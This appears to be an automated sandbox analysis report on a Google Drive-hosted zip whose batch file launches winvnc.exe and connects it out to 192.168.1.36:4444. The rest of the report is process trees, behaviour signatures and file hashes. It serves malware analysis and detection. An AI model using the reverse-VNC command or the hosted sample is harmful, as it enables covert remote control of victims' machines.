Resubmissions

06-08-2024 21:25

240806-z9y55a1dkn 6

06-08-2024 21:23

240806-z8jn2s1cqq 6

Analysis

  • max time kernel
    112s
  • max time network
    112s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-08-2024 21:25

General

  • Target

    https://drive.google.com/drive/folders/1o_FvCzw_5IKZ8_bm_Om9y_7MArSpq41k?usp=sharing

Score
6/10

Malware Config

Signatures

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
  • Suspicious use of FindShellTrayWindow 38 IoCs
  • Suspicious use of SendNotifyMessage 27 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://drive.google.com/drive/folders/1o_FvCzw_5IKZ8_bm_Om9y_7MArSpq41k?usp=sharing
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffab63a46f8,0x7ffab63a4708,0x7ffab63a4718
      2⤵
        PID:2744
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2
        2⤵
          PID:2900
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2988
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2916 /prefetch:8
          2⤵
            PID:2264
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
            2⤵
              PID:624
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1
              2⤵
                PID:2068
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:8
                2⤵
                  PID:3508
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2212
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
                  2⤵
                    PID:2956
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
                    2⤵
                      PID:824
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5220 /prefetch:1
                      2⤵
                        PID:3496
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5568 /prefetch:1
                        2⤵
                          PID:2624
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3532 /prefetch:1
                          2⤵
                            PID:2012
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3460 /prefetch:8
                            2⤵
                              PID:4212
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5584 /prefetch:1
                              2⤵
                                PID:3016
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5940 /prefetch:8
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:4932
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:1908
                              • C:\Windows\System32\CompPkgSrv.exe
                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                1⤵
                                  PID:3816
                                • C:\Windows\System32\rundll32.exe
                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                  1⤵
                                    PID:2604
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\main.bat" "
                                    1⤵
                                      PID:4076
                                      • C:\Windows\system32\timeout.exe
                                        timeout /t 1
                                        2⤵
                                        • Delays execution with timeout.exe
                                        PID:224
                                      • C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe
                                        winvnc.exe -run
                                        2⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        PID:1396
                                      • C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe
                                        winvnc.exe -connect 192.168.1.36:4444
                                        2⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:2936
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\main.bat" "
                                      1⤵
                                        PID:1968
                                        • C:\Windows\system32\timeout.exe
                                          timeout /t 1
                                          2⤵
                                          • Delays execution with timeout.exe
                                          PID:2936
                                        • C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe
                                          winvnc.exe -run
                                          2⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4540
                                        • C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe
                                          winvnc.exe -connect 192.168.1.36:4444
                                          2⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4364
                                      • C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe
                                        "C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe"
                                        1⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:5112

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                        Filesize

                                        152B

                                        MD5

                                        9e3fc58a8fb86c93d19e1500b873ef6f

                                        SHA1

                                        c6aae5f4e26f5570db5e14bba8d5061867a33b56

                                        SHA256

                                        828f4eacac1c40b790fd70dbb6fa6ba03dcc681171d9b2a6579626d27837b1c4

                                        SHA512

                                        e5e245b56fa82075e060f468a3224cf2ef43f1b6d87f0351a2102d85c7c897e559be4caeaecfdc4059af29fdc674681b61229319dda95cb2ee649b2eb98d313e

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                        Filesize

                                        152B

                                        MD5

                                        27304926d60324abe74d7a4b571c35ea

                                        SHA1

                                        78b8f92fcaf4a09eaa786bbe33fd1b0222ef29c1

                                        SHA256

                                        7039ad5c2b40f4d97c8c2269f4942be13436d739b2e1f8feb7a0c9f9fdb931de

                                        SHA512

                                        f5b6181d3f432238c7365f64fc8a373299e23ba8178bcc419471916ef8b23e909787c7c0617ab22e4eb90909c02bd7b84f1386fbc61e2bdb5a0eb474175da4bd

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                        Filesize

                                        1KB

                                        MD5

                                        0171c0895475169460451d55c2438533

                                        SHA1

                                        1d1ee8aa382359ba37c88b8158572e512f9a9d06

                                        SHA256

                                        9a24a280a2b90d3c1ac53199c1d052125c5c24d57f067bc3d05a3c6fdca422e6

                                        SHA512

                                        e8ada2f44a3cfc5e682129b451888d57f8700ff99d0ab6d39d13d085e4f679cbc1ed06e046bd95e386464bee42ab0d99492ab53d2536eea8a81d4f35a2ed808a

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                        Filesize

                                        1008B

                                        MD5

                                        a5abc6ebb758f84d8f4e3e13fda9b7be

                                        SHA1

                                        0b8c7df58e6fe178d4208c2480b5318a0a7337b4

                                        SHA256

                                        4a1e74e8374ed86402cff3fe0f173d2d0a09fe4b0414100e1297ec2517738e12

                                        SHA512

                                        3776166ce3580d3f02f232a756fbbb5f54104e8d8dd29f2d79d08fa1a9e5006e43a9af283d47795251546342ad9a5bff2de17b55ff73300780caf99c7e3a61a2

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                        Filesize

                                        3KB

                                        MD5

                                        b8d3fe8d3b528db4915b304b60e01fc6

                                        SHA1

                                        fcf45e699ab604205c5b652dee591ced9d19ce4c

                                        SHA256

                                        1dbed8b8af36c3f251a4bc12ed2019356ea573876d609f9d2bd1248c90f2f956

                                        SHA512

                                        38acd53407b282f4517218b26d2c03da41a15586274481a7b7bae41816c60daea11c79b201d264b5488b2505f80e20513454153b52615d862226f17b84281886

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                        Filesize

                                        6KB

                                        MD5

                                        caa66f77bbbf4c96568228de192f521f

                                        SHA1

                                        5c81577ff76208694990916fec4d38e163a9d227

                                        SHA256

                                        1f0cab29e77f8a95a731decd3a0bc54a99c635796cf503fc9d1dd5c1e688eb34

                                        SHA512

                                        6ae0a62d5be297dc51a2b02efa7d40473e3ea9cd80d8c9ae696c0e246a10711aa2b4d60ebfb25ffe8627a584a1829e2c23abec05f8c02b50edd3a0861e033b07

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                        Filesize

                                        6KB

                                        MD5

                                        74f572c059f786d6bb9a4143bd8dc6c6

                                        SHA1

                                        b94cbf40d03351a6faefa473b804c3746a9ff141

                                        SHA256

                                        6284ca9f4ce66f08b1e5839066899bc6030566ac3cfbb9fb01f0437cbf9c22f7

                                        SHA512

                                        1d13a0a70392824240fc31d8142e4338a7ea55d88927fea86216a83f04ede6360d97985106b81cc9d55e760d260d1ad3e91c87d2c46fdc53e15c2dee839a2ea7

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                        Filesize

                                        6KB

                                        MD5

                                        8bc6c79471ccaf58d4cb4fca4444fb42

                                        SHA1

                                        1f22067ab5a664057bd133a107c38522d8d57460

                                        SHA256

                                        f9ef844f2c3caf3637bccac191ea83c7cce48913711df58717840476fd3f891d

                                        SHA512

                                        adfad40055a950b27f0aefbac41b6e3f14a7a17651b5897ff5169f65e3dd63d836b7a226cab2b9c6e866f41270901d8dec3dc6345076af7f88cc41870d62adfc

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                        Filesize

                                        1KB

                                        MD5

                                        4d246b56df7b46dbbe0eb997d4ff8557

                                        SHA1

                                        2a225c837b4e8dbe6642a00607287f7671214a51

                                        SHA256

                                        0730907649f4f9326ed764f5ccaa16bcb64c8a25c2417c23b1c6643a90679d18

                                        SHA512

                                        7e542988d56f86c3c6dd05036bd5d12d1184db27542e86e09c2d25ff437bdf6dd033dc01861129c496bd5d612fa4716fcd67f373d82da58aa8ff1c2e1f7e9411

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                        Filesize

                                        1KB

                                        MD5

                                        8f2a5cb974b60e10dcb767777ad31dc0

                                        SHA1

                                        3287cea11ae6e0dc2360c292601d04b2b5628af3

                                        SHA256

                                        6ef82c1843be8e47f237154195dae6d1180c8f344e43380e69ffcfb3223cbb4f

                                        SHA512

                                        8d58bce192dea372b0b068a70543983190d43508b09f677ed367fc03710c02f82f8325a22b15c089bbf35d46b4fdee4afa09dc7e9a7859bb0b87fa2a485c6f0b

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe5baa08.TMP

                                        Filesize

                                        1KB

                                        MD5

                                        d16bb09c7b7f163b1e99c396066b9d8f

                                        SHA1

                                        8b79bd5368f037faea770205b27803698951720a

                                        SHA256

                                        d42141d60beb9ca20b5ffa550fec6c0a35b8dec8245436ed0380945533b1cea3

                                        SHA512

                                        29afce76eba29985d79ae098be702c1e859f38d282ee3bddca32d4481a9a3e39821e2789611f143e4063f1e136659468c9942641cb871abe011ee9b8904d744a

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                        Filesize

                                        16B

                                        MD5

                                        6752a1d65b201c13b62ea44016eb221f

                                        SHA1

                                        58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                        SHA256

                                        0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                        SHA512

                                        9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                        Filesize

                                        11KB

                                        MD5

                                        c4e427ed82af95644a786e0e2291629c

                                        SHA1

                                        f20af16d282cc2751c73bee82166418e3163ae30

                                        SHA256

                                        1307567c358f58ea53ff8776847b4fdab98690f0fe398c45de37f7be0734a1e2

                                        SHA512

                                        ae246e773887dd001a148b793abf7feaa9ce5c01b2949bf06b8784c5cdc6ec038d555dc020d103e7defd8cfe45594bd785f548b552b1d6dbc46422df06278365

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                        Filesize

                                        11KB

                                        MD5

                                        ccf7d60d52ff19694805623e2101c147

                                        SHA1

                                        03e3269c25bac261a4814fcd4db43dc23e3eed29

                                        SHA256

                                        606447e2b47572678bcf3b8210a2e35254e78a25ac7e6d741ed5eccc03b25ea1

                                        SHA512

                                        5258d8011ce515729846856ddd3021b7efa47ac62da14c54a2d6543f368e23a52737c83031b5e0440837ce951fecf605d4c40387764a38f12179ed6218568946

                                      • C:\Users\Admin\Downloads\client-20240806T212603Z-001.zip

                                        Filesize

                                        1.0MB

                                        MD5

                                        776bdbf74bb84adf7db6beabd0d9f8f1

                                        SHA1

                                        cdda7140852cc7c180cbb13eb597377cbac70a18

                                        SHA256

                                        90f9427c8fd9a86af0a8dd96210fb037dd486ec19288c02173d23af620cca47e

                                        SHA512

                                        bbe934a97e9953472dcd769994b50e8eddd4a58712f157abfe8ada50943020c35fb82569312343b36c16e1e7b45c43f553ff53d2248dc9e0adcf9d2dc8b773fb